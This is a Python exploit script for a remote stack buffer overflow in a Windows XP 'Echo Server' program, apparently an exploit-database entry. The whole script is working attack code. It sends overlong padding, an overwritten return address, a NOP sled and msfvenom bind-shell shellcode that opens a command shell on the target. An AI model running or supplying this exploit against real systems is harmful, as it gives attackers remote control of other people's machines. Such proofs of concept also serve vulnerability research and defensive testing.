"""
Full title:	Echo Server Remote Stack Buffer Overflow
Exploit Author:	Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
Version:	Echo Server
Tested on:	Windows XP SP3
Category:	remote exploit
Platform:	windows
"""
#!/usr/bin/python
#msfvenom -p windows/shell_bind_tcp -f c -a x86

import socket, sys, argparse

parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec")
parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address")
parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port")
parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length")
args = parser.parse_args()

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.target , args.port))
buff="A"*1036
EIP="\x30\xf7\x22\x00" #Overwrite RET addr on the stack, MUST be reverse order since is Little Endian Notation 0022F730
NOP="\x90"*10 #ESP is pointing to
shellcode=("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5"
"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
sock.send(buff+EIP+NOP+shellcode)
sock.close()